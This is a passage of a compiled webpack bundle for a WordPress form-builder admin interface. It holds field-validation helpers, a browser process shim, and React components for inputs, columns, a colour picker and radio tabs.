 * @param {jQuery} $el jQuery wrapper el to find
 * @param {object} options Select2 options
 **/
function select2Tags($el, options) {
	options = _.defaults(options, {
		allowClear: true,
		dropdownCssClass: 'sui-select-dropdown'
	});

	// SELECT2 forminator-ui-tags
	$el.find('select.sui-select.fui-multi-select').each(function () {
		// reorder-support, it will preserve order based on user tags added
		if (jQuery(this).attr('data-reorder')) {
			jQuery(this).on('select2:select', function (e) {
				var elm = e.params.data.element,
				    $elm = jQuery(elm),
				    $t = jQuery(this);
				$t.append($elm);
				$t.trigger('change.select2');
			});
		}
		jQuery(this).SUIselect2(options);
	});
}

/**
 * Returns if field is required
 *
 * @param {object} field field
 *
 * @return {bool}
 **/
function isFieldRequired(field) {
	// Handle name field sub fields
	if (field.type === 'name') {
		if (field.multiple_name === 'true' || field.multiple_name === true) {
			// We have multi field

			if (field['prefix_required'] || field['fname_required'] || field['mname_required'] || field['lname_required']) {
				return true;
			} else {
				return false;
			}
		}
	}

	// Handle name field sub fields
	if (field.type === 'address') {
		if (field['street_address_required'] || field['address_line_required'] || field['address_city_required'] || field['address_state_required'] || field['address_zip_required'] || field['address_country_required']) {
			return true;
		} else {
			return false;
		}
	}

	// Fallback to default required prop
	return field.required;
}

/*
 * Returns if form has a field with requested attribute and the requested value
 */
function hasFieldWithAttribute(wrappers, type, attribute, value) {
	var counter = 0;

	if (isGlobalPreset(wrappers)) {
		return true;
	}

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (type === field.type && value === field[attribute]) {
				counter++;
			}
		});
	});

	return counter > 0;
}

/*
 * Returns if form has a field with multiple category
 */
function hasPostdataFieldWithMultiselect(wrappers) {
	var counter = 0;

	if (isGlobalPreset(wrappers)) {
		return true;
	}

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			var post_category = forminatorData.postCategories[field.post_type];
			if (typeof post_category !== 'undefined') {
				post_category.map(function (category) {
					var category_key = category.value + '_multiple';
					if (1 === parseInt(field[category_key])) {
						counter++;
					}
				});
			}
		});
	});

	return counter > 0;
}

/**
 * Returns array of personality questions
 *
 * @param {array}
 *
 * @return {array}
 **/
function getPersonalityQuestions(currentPersonality, questions) {
	var personalitySlug = currentPersonality.slug;
	var questionsArray = [];

	if (!_.isEmpty(questions)) {
		_.each(questions, function (question, keyQuestion) {
			if (!_.isEmpty(question.answers)) {
				_.each(question.answers, function (answer, keyAnswer) {
					if (answer.result === personalitySlug) {
						questionsArray.push({
							title: question.title,
							slug: question.slug,
							question: question
						});
					}
				});
			}
		});
		questionsArray = _.uniq(questionsArray, 'slug');
	}

	return questionsArray;
}

/**
 * Get payment plan validation
 *
 * @param {array} validation
 * @param {array} payments
 *
 * @return {array}
 */
function getPlanValidation(validation, payments) {

	var paymentIndex = [];

	_.each(payments, function (payment, index) {
		if (!payment.amount_type || !payment.plan_name) {
			validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
			validation.isValid = false;
			paymentIndex.push(index);
		}

		if ('single' === payment.payment_method && ('fixed' === payment.amount_type && _.isEmpty(payment.amount) || 'variable' === payment.amount_type && _.isEmpty(payment.variable))) {
			validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
			validation.isValid = false;
			paymentIndex.push(index);
		} else if ('subscription' === payment.payment_method) {
			var subscriptionAmount = !_.isUndefined(payment.subscription_amount_type) ? payment.subscription_amount_type : 'fixed';
			var subscriptionQuantity = !_.isUndefined(payment.quantity_type) ? payment.quantity_type : 'fixed';
			var Quantity = !_.isUndefined(payment.quantity) ? payment.quantity : 1;
			var BillInput = !_.isUndefined(payment.bill_input) ? payment.bill_input : 1;
			if ('fixed' === subscriptionAmount && _.isEmpty(payment.subscription_amount) || 'variable' === subscriptionAmount && _.isEmpty(payment.subscription_variable)) {
				validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
				validation.isValid = false;
				paymentIndex.push(index);
			}
			if ('fixed' === subscriptionQuantity && !Quantity || 'variable' === subscriptionQuantity && _.isEmpty(payment.variable_quantity)) {
				validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
				validation.isValid = false;
				paymentIndex.push(index);
			}
			if (!BillInput) {
				validation.error = translate('Please fix the error(s) in the SETTINGS tab.');
				validation.isValid = false;
				paymentIndex.push(index);
			} else if (BillInput <= 0) {
				validation.error = translate('Billing frequency should be greater than or equal to 1');
				validation.isValid = false;
				paymentIndex.push(index);
			}
		}
	});

	if (paymentIndex.length > 0) {
		validation.paymentKey = paymentIndex;
	}

	return validation;
}

/**
 * Check if value evaluates to true
 *
 * @param {string} value
 *
 * @return {bool}
 */
function isTrue(value) {
	if ('undefined' === typeof value) {
		return false;
	}
	if ('string' === typeof value) {
		value = value.trim().toLowerCase();
	}

	switch (value) {
		case true:
		case "true":
		case 1:
		case "1":
		case "on":
		case "yes":
			return true;
		default:
			return false;
	}
}

/**
 * Parse query string
 * *
 * @return {string}
 */
function parseQueryString() {
	var parsedParameters = {},
	    uriParameters = location.search.substring(1).split('&');

	for (var i = 0; i < uriParameters.length; i++) {
		var parameter = uriParameters[i].split('=');
		parsedParameters[parameter[0]] = decodeURIComponent(parameter[1]);
	}

	return parsedParameters;
}

/** Go to link
 *
 * @param {string} value
 *
 */
function goToLink(link) {
	var target = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '_blank';

	window.open(link, target);
}

/***/ }),
/* 2 */
/***/ (function(module, exports) {

// shim for using process in browser
var process = module.exports = {};

// cached from whatever global is present so that test runners that stub it
// don't break things.  But we need to wrap it in a try catch in case it is
// wrapped in strict mode code which doesn't define any globals.  It's inside a
// function because try/catches deoptimize in certain engines.

var cachedSetTimeout;
var cachedClearTimeout;

function defaultSetTimout() {
    throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
    throw new Error('clearTimeout has not been defined');
}
(function () {
    try {
        if (typeof setTimeout === 'function') {
            cachedSetTimeout = setTimeout;
        } else {
            cachedSetTimeout = defaultSetTimout;
        }
    } catch (e) {
        cachedSetTimeout = defaultSetTimout;
    }
    try {
        if (typeof clearTimeout === 'function') {
            cachedClearTimeout = clearTimeout;
        } else {
            cachedClearTimeout = defaultClearTimeout;
        }
    } catch (e) {
        cachedClearTimeout = defaultClearTimeout;
    }
} ())
function runTimeout(fun) {
    if (cachedSetTimeout === setTimeout) {
        //normal enviroments in sane situations
        return setTimeout(fun, 0);
    }
    // if setTimeout wasn't available but was latter defined
    if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
        cachedSetTimeout = setTimeout;
        return setTimeout(fun, 0);
    }
    try {
        // when when somebody has screwed with setTimeout but no I.E. maddness
        return cachedSetTimeout(fun, 0);
    } catch(e){
        try {
            // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
            return cachedSetTimeout.call(null, fun, 0);
        } catch(e){
            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
            return cachedSetTimeout.call(this, fun, 0);
        }
    }


}
function runClearTimeout(marker) {
    if (cachedClearTimeout === clearTimeout) {
        //normal enviroments in sane situations
        return clearTimeout(marker);
    }
    // if clearTimeout wasn't available but was latter defined
    if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
        cachedClearTimeout = clearTimeout;
        return clearTimeout(marker);
    }
    try {
        // when when somebody has screwed with setTimeout but no I.E. maddness
        return cachedClearTimeout(marker);
    } catch (e){
        try {
            // When we are in I.E. but the script has been evaled so I.E. doesn't  trust the global object when called normally
            return cachedClearTimeout.call(null, marker);
        } catch (e){
            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
            // Some versions of I.E. have different rules for clearTimeout vs setTimeout
            return cachedClearTimeout.call(this, marker);
        }
    }



}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;

function cleanUpNextTick() {
    if (!draining || !currentQueue) {
        return;
    }
    draining = false;
    if (currentQueue.length) {
        queue = currentQueue.concat(queue);
    } else {
        queueIndex = -1;
    }
    if (queue.length) {
        drainQueue();
    }
}

function drainQueue() {
    if (draining) {
        return;
    }
    var timeout = runTimeout(cleanUpNextTick);
    draining = true;

    var len = queue.length;
    while(len) {
        currentQueue = queue;
        queue = [];
        while (++queueIndex < len) {
            if (currentQueue) {
                currentQueue[queueIndex].run();
            }
        }
        queueIndex = -1;
        len = queue.length;
    }
    currentQueue = null;
    draining = false;
    runClearTimeout(timeout);
}

process.nextTick = function (fun) {
    var args = new Array(arguments.length - 1);
    if (arguments.length > 1) {
        for (var i = 1; i < arguments.length; i++) {
            args[i - 1] = arguments[i];
        }
    }
    queue.push(new Item(fun, args));
    if (queue.length === 1 && !draining) {
        runTimeout(drainQueue);
    }
};

// v8 likes predictible objects
function Item(fun, array) {
    this.fun = fun;
    this.array = array;
}
Item.prototype.run = function () {
    this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = ''; // empty string to avoid regexp issues
process.versions = {};

function noop() {}

process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;

process.listeners = function (name) { return [] }

process.binding = function (name) {
    throw new Error('process.binding is not supported');
};

process.cwd = function () { return '/' };
process.chdir = function (dir) {
    throw new Error('process.chdir is not supported');
};
process.umask = function() { return 0; };


/***/ }),
/* 3 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Input = function (_Component) {
	_inherits(Input, _Component);

	function Input(props) {
		_classCallCheck(this, Input);

		var _this = _possibleConstructorReturn(this, (Input.__proto__ || Object.getPrototypeOf(Input)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		return _this;
	}

	_createClass(Input, [{
		key: 'updateValue',
		value: function updateValue(value) {
			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'isValid',
		value: function isValid(value) {
			if (this.props.isRequired) {
				return this.props.isRequired && !_.isEmpty(value);
			} else if (!_.isUndefined(this.props.isPositive)) {
				return _.isEmpty(value) || value >= 0;
			}

			return true;
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];

			var type = !_.isUndefined(this.props.type) ? this.props.type : 'text';

			var requiredError = !_.isUndefined(this.props.requiredError) ? this.props.requiredError : (0, _utils.translate)('This field is required!');

			var hasErrorClass = !this.isValid(value) ? 'sui-form-field-error' : '';

			var fieldClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';

			var inputClass = 'sui-form-control';

			if (!_.isUndefined(this.props.inputClass) && '' !== this.props.inputClass) {
				inputClass += ' ' + this.props.inputClass;
			}

			if (!_.isUndefined(this.props.prefix) && '' !== this.props.prefix) {
				inputClass += ' sui-field-has-prefix';
			}

			if (!_.isUndefined(this.props.suffix) && '' !== this.props.suffix) {
				inputClass += ' sui-field-has-suffix';
			}

			var inputId = !_.isUndefined(this.props.inputId) ? this.props.inputId : this.props.property;

			var inputLabel = void 0;

			if (this.props.label) {
				inputLabel = _react2.default.createElement(
					'label',
					{
						htmlFor: 'forminator-field-' + inputId,
						className: this.props.darkLabel ? 'sui-settings-label sui-dark' : 'sui-label'
					},
					this.props.label,
					this.props.isRequired && _react2.default.createElement(
						_react2.default.Fragment,
						null,
						'\xA0',
						_react2.default.createElement(
							'span',
							{ className: 'sui-error' },
							'*'
						)
					),
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						this.props.note
					)
				);
			}

			var inputField = _react2.default.createElement('input', _extends({ type: type,
				placeholder: this.props.placeholder,
				value: value || '',
				id: 'forminator-field-' + inputId,
				className: inputClass
			}, this.props.notWritable && { readonly: '' }, this.props.minValue && { min: this.props.minValue }, this.props.maxValue && { max: this.props.maxValue }, this.props.step && { step: this.props.step }, this.props.maxLength && { maxLength: this.props.maxLength }, this.props.inputStyles && { style: this.props.inputStyles }, {
				disabled: this.props.disabled ? true : false,
				onChange: function onChange(e) {
					_this2.updateValue(e.target.value);
				}
			}));

			var getFields = _react2.default.createElement(
				'div',
				{ className: fieldClass + ' ' + hasErrorClass },
				inputLabel,
				!_.isUndefined(this.props.prefix) && '' !== this.props.prefix && _react2.default.createElement(
					'span',
					{ className: 'sui-field-prefix' },
					this.props.prefix
				),
				!this.props.canTrash ? inputField : _react2.default.createElement(
					'div',
					{ className: 'sui-with-button sui-with-button-icon' },
					inputField,
					_react2.default.createElement(
						'button',
						{ className: 'sui-button-icon sui-tooltip sui-tooltip-top-right',
							'data-tooltip': (0, _utils.translate)('Delete') },
						_react2.default.createElement('i', { className: 'sui-icon-trash', 'aria-hidden': 'true' })
					)
				),
				this.props.suffix && _react2.default.createElement(
					'span',
					{ className: 'sui-field-suffix' },
					this.props.suffix
				),
				this.props.isRequired && !this.isValid(value) && _react2.default.createElement(
					'span',
					{ className: 'sui-error-message' },
					requiredError
				),
				!_.isUndefined(this.props.isPositive) && !this.isValid(value) && _react2.default.createElement(
					'span',
					{ className: 'sui-error-message' },
					(0, _utils.translate)('Please enter valid number.')
				),
				this.props.description && _react2.default.createElement(
					'span',
					{ className: 'sui-description' },
					this.props.description
				)
			);

			if (this.props.simple) {
				return inputField;
			}

			return getFields;
		}
	}]);

	return Input;
}(_react.Component);

exports.default = Input;

/***/ }),
/* 4 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Container = function (_Component) {
	_inherits(Container, _Component);

	function Container(props) {
		_classCallCheck(this, Container);

		return _possibleConstructorReturn(this, (Container.__proto__ || Object.getPrototypeOf(Container)).call(this, props));
	}

	_createClass(Container, [{
		key: 'render',
		value: function render() {
			var children = _react2.default.Children.map(this.props.children, function (child) {
				return child;
			});

			return _react2.default.createElement(
				'div',
				null,
				children
			);
		}
	}]);

	return Container;
}(_react.Component);

exports.default = Container;

/***/ }),
/* 5 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Col = function (_Component) {
	_inherits(Col, _Component);

	function Col(props) {
		_classCallCheck(this, Col);

		return _possibleConstructorReturn(this, (Col.__proto__ || Object.getPrototypeOf(Col)).call(this, props));
	}

	_createClass(Col, [{
		key: 'render',
		value: function render() {
			var children = _react2.default.Children.map(this.props.children, function (children) {
				return children;
			});

			var customClass = this.props.customClass ? this.props.customClass : '';

			return _react2.default.createElement(
				'div',
				{ className: 'sui-col-md-' + this.props.cols + ' ' + customClass },
				children
			);
		}
	}]);

	return Col;
}(_react.Component);

exports.default = Col;

/***/ }),
/* 6 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ColorPicker = function (_Component) {
	_inherits(ColorPicker, _Component);

	function ColorPicker(props) {
		_classCallCheck(this, ColorPicker);

		var _this = _possibleConstructorReturn(this, (ColorPicker.__proto__ || Object.getPrototypeOf(ColorPicker)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		return _this;
	}

	_createClass(ColorPicker, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.$el = jQuery(this.el);
			this.$el.wpColorPicker({
				change: function change(event, ui) {
					var $this = jQuery(this);
					$this.val(ui.color.toCSS()).trigger('change');
				},
				palettes: ['#333333', '#FFFFFF', '#17A8E3', '#E1F6FF', '#666666', '#AAAAAA', '#E6E6E6']
			});

			var $suiPickerInput = this.$el,
			    $suiPicker = $suiPickerInput.closest('.sui-colorpicker-wrap'),
			    $suiPickerColor = $suiPicker.find('.sui-colorpicker-value span[role=button]'),
			    $suiPickerValue = $suiPicker.find('.sui-colorpicker-value'),
			    $suiPickerClear = $suiPickerValue.find('button');

			var $wpPicker = $suiPickerInput.closest('.wp-picker-container'),
			    $wpPickerButton = $wpPicker.find('.wp-color-result'),
			    $wpPickerAlpha = $wpPickerButton.find('.color-alpha'),
			    $wpPickerClear = $wpPicker.find('.wp-picker-clear');

			var $pickerBackground = $wpPickerAlpha;

			// Check if alpha exists
			if ($suiPickerInput.data('alpha') === true) {
				$pickerBackground = $wpPickerAlpha;
			} else {
				$pickerBackground = $wpPickerButton;
			}

			// Listen to color change
			$suiPickerInput.bind('change', function () {
				// Change color preview
				$suiPickerColor.find('span').css({
					'background-color': $pickerBackground.css('background-color')
				});

				// Change color value
				$suiPickerValue.find('input').val($suiPickerInput.val());
			});

			// Open iris picker
			$suiPicker.find('.sui-button, span[role=button]').on('click', function (e) {
				e.preventDefault();
				e.stopPropagation();
				$wpPickerButton.click();
			});

			// Clear color value
			$suiPickerClear.on('click', function (e) {
				e.preventDefault();
				e.stopPropagation();

				$wpPickerClear.click();
				$suiPickerValue.find('input').val('');
				$suiPickerColor.find('span').css({
					'background-color': ''
				});
			});

			this.updateValue = this.updateValue.bind(this);
			this.$el.on('change', this.updateValue);
		}
	}, {
		key: 'updateValue',
		value: function updateValue(e) {
			var value = e.target.value;

			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$el.off('change', this.updateValue);
			this.$el.unbind().removeData();
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) || this.props.settings[this.props.property] === null ? this.props.defaultValue : this.props.settings[this.props.property];

			var fieldLabel = '';

			if (this.props.label) {
				fieldLabel = _react2.default.createElement(
					'label',
					{ className: 'sui-label',
						htmlFor: 'forminator-color-' + this.props.property },
					this.props.label,
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						' ',
						this.props.note
					)
				);
			}

			return _react2.default.createElement(
				'div',
				{ className: 'sui-form-field' },
				fieldLabel,
				_react2.default.createElement(
					'div',
					{ className: 'sui-colorpicker-wrap' },
					_react2.default.createElement(
						'div',
						{
							className: 'sui-colorpicker sui-colorpicker-' + (this.props.isAlpha ? 'rgba' : 'hex'),
							'aria-hidden': 'true' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-colorpicker-value' },
							_react2.default.createElement(
								'span',
								{ role: 'button' },
								_react2.default.createElement('span', { style: { backgroundColor: value } })
							),
							_react2.default.createElement('input', { type: 'text', defaultValue: value,
								readOnly: 'readonly' }),
							_react2.default.createElement(
								'button',
								null,
								_react2.default.createElement('i', { className: 'sui-icon-close', 'aria-hidden': 'true' })
							)
						),
						_react2.default.createElement(
							'button',
							{ className: 'sui-button' },
							(0, _utils.translate)('Select')
						)
					),
					_react2.default.createElement('input', { ref: function ref(el) {
							return _this2.el = el;
						},
						defaultValue: value,
						id: 'forminator-color-' + this.props.property,
						className: 'sui-colorpicker-input',
						'data-alpha': this.props.isAlpha ? 'true' : 'false'
					})
				),
				this.props.description && '' !== this.props.description && _react2.default.createElement(
					'span',
					{ className: 'sui-description' },
					this.props.description
				)
			);
		}
	}]);

	return ColorPicker;
}(_react.Component);

exports.default = ColorPicker;

/***/ }),
/* 7 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var RadioTabs = function (_Component) {
	_inherits(RadioTabs, _Component);

	function RadioTabs(props) {
		_classCallCheck(this, RadioTabs);

		return _possibleConstructorReturn(this, (RadioTabs.__proto__ || Object.getPrototypeOf(RadioTabs)).call(this, props));
	}

	_createClass(RadioTabs, [{
		key: 'toggleValue',
		value: function toggleValue(value) {
			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'getDefaultValue',
		value: function getDefaultValue() {
			var defaultValue = this.props.default ? this.props.default : '';

			var value = _.isUndefined(this.props.settings[this.props.property]) ? defaultValue : this.props.settings[this.props.property];

			return value;
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = this.getDefaultValue();

			var tabTitles = _react2.default.Children.map(this.props.children, function (tab) {
				if (!tab) {
					return _react2.default.createElement(_react2.default.Fragment, null);
				}

				var label = !_.isUndefined(tab.props.label) ? tab.props.label : tab.props.children;

				if (_this2.props.disabled) {
					return _react2.default.createElement(
						'div',
						{ className: 'sui-tab-item' + (tab.props.value === value ? ' active' : ''),
							style: {
								opacity: 0.5,
								cursor: 'not-allowed'
							}
						},
						label
					);
				}

				if (!_this2.props.disabled) {
					return _react2.default.createElement(
						'div',
						{ className: 'sui-tab-item' + (tab.props.value === value ? ' active' : ''),
							onClick: _this2.toggleValue.bind(_this2, tab.props.value)
						},
						label
					);
				}
			});

			var contentClass = !_.isUndefined(this.props.divClass) ? 'sui-tabs-content ' + this.props.divClass : 'sui-tabs-content';

			var tabContents = _react2.default.Children.map(this.props.children, function (tab) {
				if (!tab) {
					return _react2.default.createElement(_react2.default.Fragment, null);
				}

				var boxClass = !_.isUndefined(tab.props.boxClass) ? tab.props.boxClass : '';

				if (tab.type.name !== 'Empty') {
					return _react2.default.createElement(
						'div',
						{ className: boxClass + ' sui-tab-content' + (tab.props.value === value ? ' active' : '') },
						tab.props.value === value && tab
					);
				}

				return _react2.default.createElement(_react2.default.Fragment, null);
			});

			var tabsLabel = '';

			if (this.props.label && '' !== this.props.label) {
				tabsLabel = _react2.default.createElement(
					'label',
					{ htmlFor: 'forminator-field-' + this.props.property,
						className: 'sui-label' },
					this.props.label,
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						' ',
						this.props.note
					)
				);
			}

			var settingsLabel = '';

			if (this.props.settingsLabel && '' !== this.props.settingsLabel) {
				var labelClass = this.props.labelClass ? this.props.labelClass : 'sui-settings-label';
				settingsLabel = _react2.default.createElement(
					'label',
					{ className: labelClass },
					this.props.settingsLabel
				);
			}

			var description = '';

			if (this.props.description && '' !== this.props.description) {
				description = _react2.default.createElement(
					'span',
					{
						className: 'sui-description',
						style: { marginBottom: 10 }
					},
					this.props.description
				);
			}

			var wrapperClass = !_.isUndefined(this.props.wrapperClass) ? this.props.wrapperClass : '';

			wrapperClass = this.props.basicTabs ? 'sui-tabs sui-tabs-overflow ' + wrapperClass : 'sui-side-tabs ' + wrapperClass;

			var tabsMarkup = _react2.default.createElement(
				'div',
				{ className: wrapperClass },
				_react2.default.createElement(
					'div',
					{ className: 'sui-tabs-menu' },
					tabTitles
				),
				_react2.default.createElement(
					'div',
					{ className: contentClass },
					tabContents
				)
			);

			if (!this.props.simple) {
				tabsMarkup = _react2.default.createElement(
					'div',
					{ className: 'sui-form-field' },
					settingsLabel,
					tabsLabel,
					description,
					_react2.default.createElement(
						'div',
						{ className: wrapperClass },
						_react2.default.createElement(
							'div',
							{ className: 'sui-tabs-menu' },
							tabTitles
						),
						_react2.default.createElement(
							'div',
							{ className: contentClass },
							tabContents
						)
					)
				);
			}

			return tabsMarkup;
		}
	}]);

	return RadioTabs;
}(_react.Component);

exports.default = RadioTabs;

/***/ }),
/* 8 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


